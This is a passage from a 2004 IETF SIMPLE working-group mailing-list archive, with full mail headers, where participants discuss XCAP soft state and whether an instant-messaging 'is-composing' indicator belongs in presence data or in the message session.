>> language in the draft is very weak in that regard. Changing the
>> schema is one way to put in rules. But I am opened to the alternative
>> of strengthening the language in an updated version of the draft and
>> to clearly disallow the usage of XCAP for changing soft states.
> 
> 
> You make it sound like it was currently allowed. Well, it isn't, and in 
> addition, it's not even possible. PUBLISH carries soft event state. The 
> only way to manipulate that state is to use PUBLISH, and have possession 
> of the corresponding publication etag.

I too am confused as to how it would even be possible to manipulate soft 
state. There is no way specified to even address -i.e., come up with an 
http URI - that identifies the published presence documents to 
manipulate them. I thought my prior note on the subject explained this 
more thoroughly.

-Jonathan R.
-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar 17 15:01:40 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA02569
	for <simple-archive@ietf.org>; Wed, 17 Mar 2004 15:01:40 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3hES-00005K-00
	for simple-archive@ietf.org; Wed, 17 Mar 2004 15:01:40 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3hDa-0007lc-00
	for simple-archive@ietf.org; Wed, 17 Mar 2004 15:00:47 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3hCg-0007eo-00; Wed, 17 Mar 2004 14:59:50 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3hBt-00042o-O7; Wed, 17 Mar 2004 14:59:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3hBf-000424-2J
	for simple@optimus.ietf.org; Wed, 17 Mar 2004 14:58:47 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA02473
	for <simple@ietf.org>; Wed, 17 Mar 2004 14:58:43 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3hBc-0007Wq-00
	for simple@ietf.org; Wed, 17 Mar 2004 14:58:44 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3hAb-0007Qe-00
	for simple@ietf.org; Wed, 17 Mar 2004 14:57:41 -0500
Received: from auds952.usa.alcatel.com ([143.209.238.7])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3hA0-0007F0-00
	for simple@ietf.org; Wed, 17 Mar 2004 14:57:04 -0500
Received: from alcatel.com (localhost [127.0.0.1])
	by auds952.usa.alcatel.com (8.12.10/8.12.10) with ESMTP id i2HJswTN029482;
	Wed, 17 Mar 2004 13:54:59 -0600 (CST)
Message-ID: <4058AD11.7040307@alcatel.com>
From: Alex Audu <alex.audu@alcatel.com>
Reply-To: alex.audu@alcatel.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Henning Schulzrinne <hgs@cs.columbia.edu>, simple@ietf.org
Subject: Re: [Simple] is-composing: has-focus?
References: <404C511B.7050506@cs.columbia.edu> <404D6702.1080701@dynamicsoft.com> <404D9CF2.9010801@cs.columbia.edu> <404F3429.8020305@dynamicsoft.com> <404FCBBD.4080706@cs.columbia.edu> <40514CE7.7080907@dynamicsoft.com> <4051C1AF.6030008@cs.columbia.edu> <4051CD87.9040107@dynamicsoft.com> <4051D53E.7010509@cs.columbia.edu> <40576C58.80505@dynamicsoft.com>
In-Reply-To: <40576C58.80505@dynamicsoft.com>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 17 Mar 2004 13:54:57 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.2 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

My experience with "is-typing" or "is-composing" is that it makes for a 
better user
experience during an IM session.  I think it serves a pretty good purpose.

Regards,
Alex.

Jonathan Rosenberg wrote:

>
>
> Henning Schulzrinne wrote:
>
>>
>>>
>>> OK, except I see "has focus" as being orthogonal to is-composing, so 
>>> I'd think you'd want both.
>>
>>
>>
>> My assumption was that composing implied focus, but not vice versa. 
>> How could I compose without window focus?
>
>
> True, but the opposite is not true. If the window does have focus, I 
> can either be typing or not. Thats what I was thinking about. But I 
> think we should punt on this for now.
>
>
>>
>>
>>>> Something like
>>>>
>>>> <composing since="..." media="text">active</composing>
>>>>
>>>> The advantage is that this would also allow to convey this easily 
>>>> to third parties, via PIDF subscription.
>>>
>>>
>>>
>>>
>>> Yes, that was the idea.
>>>
>>> I'm on the fence on this one. The state is really dynamic, and its 
>>> not clear how useful for me, or anyone else, it would be to know 
>>> that you are currently typing an IM to someone else. Indeed, its far 
>>> from clear that even if I did know, would this impact your 
>>> availability to receive another IM? Not clear.
>>>
>>> Another question is authorization. Do we ever think anyone would 
>>> authorize a third party to see their is-typing indicators? Or that 
>>> we would expect a PUA to publish them to a PA?
>>>
>>> Another drawback is that the pidf document is larger than a simpler 
>>> is-composing format, though not by much I suppose.
>>
>>
>>
>> At this point, since there don't seem to be compelling advantages and 
>> given Paul's subsequent note on the importance of a per-session 
>> nature of this indication, maybe expediency and making-progress argue 
>> for sticking to the minimal notification variation.
>
>
> I'll go with that, and make a final comment on the differences between 
> the two.
>
> In a message session, the indicator means "I'm typing a message to you 
> right now". In a third party presence notification, we generally want 
> to convey information that helps a watcher make a choice about whether 
> to communicate with the presentity, and with what tuple. I would argue 
> that whether or not I'm typing an IM this instant is NOT useful for 
> that purpose. Really what we are after is "I have an IM session active 
> with someone else right now". Thats a coarser grained statement, and 
> more useful. indeed, its the exactly analogy of being on a call, but 
> for IM.
>
> So, I more or less convinced myself that is-typing was not in and of 
> itself useful for presence, and so using a pidf extension for this is 
> not the right approach.
>
> -Jonathan R.
>


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar 17 15:03:03 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA02655
	for <simple-archive@odin.ietf.org>; Wed, 17 Mar 2004 15:03:03 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3hEx-0004pf-9H
	for simple-archive@odin.ietf.org; Wed, 17 Mar 2004 15:02:36 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2HK21FX018073
	for simple-archive@odin.ietf.org; Wed, 17 Mar 2004 15:02:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3hEl-0004Xw-OV
	for simple-web-archive@optimus.ietf.org; Wed, 17 Mar 2004 15:01:59 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA02583
	for <simple-web-archive@ietf.org>; Wed, 17 Mar 2004 15:01:40 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3hET-00005P-00
	for simple-web-archive@ietf.org; Wed, 17 Mar 2004 15:01:41 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3hDb-0007lj-00
	for simple-web-archive@ietf.org; Wed, 17 Mar 2004 15:00:47 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3hCg-0007eo-00; Wed, 17 Mar 2004 14:59:50 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3hBt-00042o-O7; Wed, 17 Mar 2004 14:59:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3hBf-000424-2J
	for simple@optimus.ietf.org; Wed, 17 Mar 2004 14:58:47 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA02473
	for <simple@ietf.org>; Wed, 17 Mar 2004 14:58:43 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3hBc-0007Wq-00
	for simple@ietf.org; Wed, 17 Mar 2004 14:58:44 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3hAb-0007Qe-00
	for simple@ietf.org; Wed, 17 Mar 2004 14:57:41 -0500
Received: from auds952.usa.alcatel.com ([143.209.238.7])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3hA0-0007F0-00
	for simple@ietf.org; Wed, 17 Mar 2004 14:57:04 -0500
Received: from alcatel.com (localhost [127.0.0.1])
	by auds952.usa.alcatel.com (8.12.10/8.12.10) with ESMTP id i2HJswTN029482;
	Wed, 17 Mar 2004 13:54:59 -0600 (CST)
Message-ID: <4058AD11.7040307@alcatel.com>
From: Alex Audu <alex.audu@alcatel.com>
Reply-To: alex.audu@alcatel.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Henning Schulzrinne <hgs@cs.columbia.edu>, simple@ietf.org
Subject: Re: [Simple] is-composing: has-focus?
References: <404C511B.7050506@cs.columbia.edu> <404D6702.1080701@dynamicsoft.com> <404D9CF2.9010801@cs.columbia.edu> <404F3429.8020305@dynamicsoft.com> <404FCBBD.4080706@cs.columbia.edu> <40514CE7.7080907@dynamicsoft.com> <4051C1AF.6030008@cs.columbia.edu> <4051CD87.9040107@dynamicsoft.com> <4051D53E.7010509@cs.columbia.edu> <40576C58.80505@dynamicsoft.com>
In-Reply-To: <40576C58.80505@dynamicsoft.com>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 17 Mar 2004 13:54:57 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.2 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

My experience with "is-typing" or "is-composing" is that it makes for a 
better user
experience during an IM session.  I think it serves a pretty good purpose.

Regards,
Alex.

Jonathan Rosenberg wrote:

>
>
> Henning Schulzrinne wrote:
>
>>
>>>
>>> OK, except I see "has focus" as being orthogonal to is-composing, so 
>>> I'd think you'd want both.
>>
>>
>>
>> My assumption was that composing implied focus, but not vice versa. 
>> How could I compose without window focus?
>
>
> True, but the opposite is not true. If the window does have focus, I 
> can either be typing or not. Thats what I was thinking about. But I 
> think we should punt on this for now.
>
>
>>
>>
>>>> Something like
>>>>
>>>> <composing since="..." media="text">active</composing>
>>>>
>>>> The advantage is that this would also allow to convey this easily 
>>>> to third parties, via PIDF subscription.
>>>
>>>
>>>
>>>
>>> Yes, that was the idea.
>>>
>>> I'm on the fence on this one. The state is really dynamic, and its 
>>> not clear how useful for me, or anyone else, it would be to know 
>>> that you are currently typing an IM to someone else. Indeed, its far 
>>> from clear that even if I did know, would this impact your 
>>> availability to receive another IM? Not clear.
>>>
>>> Another question is authorization. Do we ever think anyone would 
>>> authorize a third party to see their is-typing indicators? Or that 
>>> we would expect a PUA to publish them to a PA?
>>>
>>> Another drawback is that the pidf document is larger than a simpler 
>>> is-composing format, though not by much I suppose.
>>
>>
>>
>> At this point, since there don't seem to be compelling advantages and 
>> given Paul's subsequent note on the importance of a per-session 
>> nature of this indication, maybe expediency and making-progress argue 
>> for sticking to the minimal notification variation.
>
>
> I'll go with that, and make a final comment on the differences between 
> the two.
>
> In a message session, the indicator means "I'm typing a message to you 
> right now". In a third party presence notification, we generally want 
> to convey information that helps a watcher make a choice about whether 
> to communicate with the presentity, and with what tuple. I would argue 
> that whether or not I'm typing an IM this instant is NOT useful for 
> that purpose. Really what we are after is "I have an IM session active 
> with someone else right now". Thats a coarser grained statement, and 
> more useful. indeed, its the exactly analogy of being on a call, but 
> for IM.
>
> So, I more or less convinced myself that is-typing was not in and of 
> itself useful for presence, and so using a pidf extension for this is 
> not the right approach.
>
> -Jonathan R.
>


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Thu Mar 18 17:21:37 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA12553
	for <simple-archive@ietf.org>; Thu, 18 Mar 2004 17:21:37 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B45tS-0002Pk-00
	for simple-archive@ietf.org; Thu, 18 Mar 2004 17:21:38 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B45sX-0002NX-00
	for simple-archive@ietf.org; Thu, 18 Mar 2004 17:20:42 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B45rz-0002LM-00; Thu, 18 Mar 2004 17:20:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B45rv-0002ZX-QW; Thu, 18 Mar 2004 17:20:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B45r0-0002WN-Pv
	for simple@optimus.ietf.org; Thu, 18 Mar 2004 17:19:07 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA12433
	for <simple@ietf.org>; Thu, 18 Mar 2004 17:19:02 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B45qy-0002Gs-00
	for simple@ietf.org; Thu, 18 Mar 2004 17:19:04 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B45q9-00028X-00
	for simple@ietf.org; Thu, 18 Mar 2004 17:18:14 -0500
Received: from sj-iport-3-in.cisco.com ([171.71.176.72] helo=sj-iport-3.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B45oy-0001s6-00
	for simple@ietf.org; Thu, 18 Mar 2004 17:17:00 -0500
Received: from sj-core-5.cisco.com (171.71.177.238)
  by sj-iport-3.cisco.com with ESMTP; 18 Mar 2004 14:21:36 +0000
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-5.cisco.com (8.12.10/8.12.6) with ESMTP id i2IMGRaD004468;
	Thu, 18 Mar 2004 14:16:28 -0800 (PST)
Received: from cisco.com ([161.44.79.74])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGX17825;
	Thu, 18 Mar 2004 17:16:26 -0500 (EST)
Message-ID: <405A1FB8.2010104@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: alex.audu@alcatel.com
CC: Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Henning Schulzrinne <hgs@cs.columbia.edu>, simple@ietf.org
Subject: Re: [Simple] is-composing: has-focus?
References: <404C511B.7050506@cs.columbia.edu> <404D6702.1080701@dynamicsoft.com> <404D9CF2.9010801@cs.columbia.edu> <404F3429.8020305@dynamicsoft.com> <404FCBBD.4080706@cs.columbia.edu> <40514CE7.7080907@dynamicsoft.com> <4051C1AF.6030008@cs.columbia.edu> <4051CD87.9040107@dynamicsoft.com> <4051D53E.7010509@cs.columbia.edu> <40576C58.80505@dynamicsoft.com> <4058AD11.7040307@alcatel.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 18 Mar 2004 17:16:24 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Alex,

I don't think Jonathan is suggesting that an is-typing indicator should 
not be there - only that it shouldn't be a presence attribute. Rather it 
is a property of a specific message session, and so needs to be 
communicated as part of a message session.

	Paul

Alex Audu wrote:
> My experience with "is-typing" or "is-composing" is that it makes for a 
> better user
> experience during an IM session.  I think it serves a pretty good purpose.
> 
> Regards,
> Alex.
> 
> Jonathan Rosenberg wrote:
> 
>>
>>
>> Henning Schulzrinne wrote:
>>
>>>
>>>>
>>>> OK, except I see "has focus" as being orthogonal to is-composing, so 
>>>> I'd think you'd want both.
>>>
>>>
>>>
>>>
>>> My assumption was that composing implied focus, but not vice versa. 
>>> How could I compose without window focus?
>>
>>
>>
>> True, but the opposite is not true. If the window does have focus, I 
>> can either be typing or not. Thats what I was thinking about. But I 
>> think we should punt on this for now.
>>
>>
>>>
>>>
>>>>> Something like
>>>>>
>>>>> <composing since="..." media="text">active</composing>
>>>>>
>>>>> The advantage is that this would also allow to convey this easily 
>>>>> to third parties, via PIDF subscription.
>>>>
>>>>
>>>>
>>>>
>>>>
>>>> Yes, that was the idea.
>>>>
>>>> I'm on the fence on this one. The state is really dynamic, and its 
>>>> not clear how useful for me, or anyone else, it would be to know 
>>>> that you are currently typing an IM to someone else. Indeed, its far 
>>>> from clear that even if I did know, would this impact your 
>>>> availability to receive another IM? Not clear.
>>>>
>>>> Another question is authorization. Do we ever think anyone would 
>>>> authorize a third party to see their is-typing indicators? Or that 
>>>> we would expect a PUA to publish them to a PA?
>>>>
>>>> Another drawback is that the pidf document is larger than a simpler 
>>>> is-composing format, though not by much I suppose.
>>>
>>>
>>>
>>>
>>> At this point, since there don't seem to be compelling advantages and 
>>> given Paul's subsequent note on the importance of a per-session 
>>> nature of this indication, maybe expediency and making-progress argue 
>>> for sticking to the minimal notification variation.
>>
>>
>>
>> I'll go with that, and make a final comment on the differences between 
>> the two.
>>
>> In a message session, the indicator means "I'm typing a message to you 
>> right now". In a third party presence notification, we generally want 
>> to convey information that helps a watcher make a choice about whether 
>> to communicate with the presentity, and with what tuple. I would argue 
>> that whether or not I'm typing an IM this instant is NOT useful for 
>> that purpose. Really what we are after is "I have an IM session active 
>> with someone else right now". Thats a coarser grained statement, and 
>> more useful. indeed, its the exactly analogy of being on a call, but 
>> for IM.
>>
>> So, I more or less convinced myself that is-typing was not in and of 
>> itself useful for presence, and so using a pidf extension for this is 
>> not the right approach.
>>
>> -Jonathan R.
>>
> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Thu Mar 18 17:22:09 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA12594
	for <simple-archive@odin.ietf.org>; Thu, 18 Mar 2004 17:22:08 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B45tW-0002j2-C3
	for simple-archive@odin.ietf.org; Thu, 18 Mar 2004 17:21:42 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2IMLgZf010473
	for simple-archive@odin.ietf.org; Thu, 18 Mar 2004 17:21:42 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B45tW-0002iq-6t
	for simple-web-archive@optimus.ietf.org; Thu, 18 Mar 2004 17:21:42 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA12572
	for <simple-web-archive@ietf.org>; Thu, 18 Mar 2004 17:21:38 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B45tT-0002Pp-00
	for simple-web-archive@ietf.org; Thu, 18 Mar 2004 17:21:39 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B45sY-0002Ne-00
	for simple-web-archive@ietf.org; Thu, 18 Mar 2004 17:20:43 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B45rz-0002LM-00; Thu, 18 Mar 2004 17:20:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B45rv-0002ZX-QW; Thu, 18 Mar 2004 17:20:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B45r0-0002WN-Pv
	for simple@optimus.ietf.org; Thu, 18 Mar 2004 17:19:07 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA12433
	for <simple@ietf.org>; Thu, 18 Mar 2004 17:19:02 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B45qy-0002Gs-00
	for simple@ietf.org; Thu, 18 Mar 2004 17:19:04 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B45q9-00028X-00
	for simple@ietf.org; Thu, 18 Mar 2004 17:18:14 -0500
Received: from sj-iport-3-in.cisco.com ([171.71.176.72] helo=sj-iport-3.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B45oy-0001s6-00
	for simple@ietf.org; Thu, 18 Mar 2004 17:17:00 -0500
Received: from sj-core-5.cisco.com (171.71.177.238)
  by sj-iport-3.cisco.com with ESMTP; 18 Mar 2004 14:21:36 +0000
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-5.cisco.com (8.12.10/8.12.6) with ESMTP id i2IMGRaD004468;
	Thu, 18 Mar 2004 14:16:28 -0800 (PST)
Received: from cisco.com ([161.44.79.74])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGX17825;
	Thu, 18 Mar 2004 17:16:26 -0500 (EST)
Message-ID: <405A1FB8.2010104@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: alex.audu@alcatel.com
CC: Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Henning Schulzrinne <hgs@cs.columbia.edu>, simple@ietf.org
Subject: Re: [Simple] is-composing: has-focus?
References: <404C511B.7050506@cs.columbia.edu> <404D6702.1080701@dynamicsoft.com> <404D9CF2.9010801@cs.columbia.edu> <404F3429.8020305@dynamicsoft.com> <404FCBBD.4080706@cs.columbia.edu> <40514CE7.7080907@dynamicsoft.com> <4051C1AF.6030008@cs.columbia.edu> <4051CD87.9040107@dynamicsoft.com> <4051D53E.7010509@cs.columbia.edu> <40576C58.80505@dynamicsoft.com> <4058AD11.7040307@alcatel.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 18 Mar 2004 17:16:24 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Alex,

I don't think Jonathan is suggesting that an is-typing indicator should 
not be there - only that it shouldn't be a presence attribute. Rather it 
is a property of a specific message session, and so needs to be 
communicated as part of a message session.

	Paul

Alex Audu wrote:
> My experience with "is-typing" or "is-composing" is that it makes for a 
> better user
> experience during an IM session.  I think it serves a pretty good purpose.
> 
> Regards,
> Alex.
> 
> Jonathan Rosenberg wrote:
> 
>>
>>
>> Henning Schulzrinne wrote:
>>
>>>
>>>>
>>>> OK, except I see "has focus" as being orthogonal to is-composing, so 
>>>> I'd think you'd want both.
>>>
>>>
>>>
>>>
>>> My assumption was that composing implied focus, but not vice versa. 
>>> How could I compose without window focus?
>>
>>
>>
>> True, but the opposite is not true. If the window does have focus, I 
>> can either be typing or not. Thats what I was thinking about. But I 
>> think we should punt on this for now.
>>
>>
>>>
>>>
>>>>> Something like
>>>>>
>>>>> <composing since="..." media="text">active</composing>
>>>>>
>>>>> The advantage is that this would also allow to convey this easily 
>>>>> to third parties, via PIDF subscription.
>>>>
>>>>
>>>>
>>>>
>>>>
>>>> Yes, that was the idea.
>>>>
>>>> I'm on the fence on this one. The state is really dynamic, and its 
>>>> not clear how useful for me, or anyone else, it would be to know 
>>>> that you are currently typing an IM to someone else. Indeed, its far 
>>>> from clear that even if I did know, would this impact your 
>>>> availability to receive another IM? Not clear.
>>>>
>>>> Another question is authorization. Do we ever think anyone would 
>>>> authorize a third party to see their is-typing indicators? Or that 
>>>> we would expect a PUA to publish them to a PA?
>>>>
>>>> Another drawback is that the pidf document is larger than a simpler 
>>>> is-composing format, though not by much I suppose.
>>>
>>>
>>>
>>>
>>> At this point, since there don't seem to be compelling advantages and 
>>> given Paul's subsequent note on the importance of a per-session 
>>> nature of this indication, maybe expediency and making-progress argue 
>>> for sticking to the minimal notification variation.
>>
>>
>>
>> I'll go with that, and make a final comment on the differences between 
>> the two.
>>
>> In a message session, the indicator means "I'm typing a message to you 
>> right now". In a third party presence notification, we generally want 
>> to convey information that helps a watcher make a choice about whether 
>> to communicate with the presentity, and with what tuple. I would argue 
>> that whether or not I'm typing an IM this instant is NOT useful for 
>> that purpose. Really what we are after is "I have an IM session active 
>> with someone else right now". Thats a coarser grained statement, and 
>> more useful. indeed, its the exactly analogy of being on a call, but 
>> for IM.
>>
>> So, I more or less convinced myself that is-typing was not in and of 
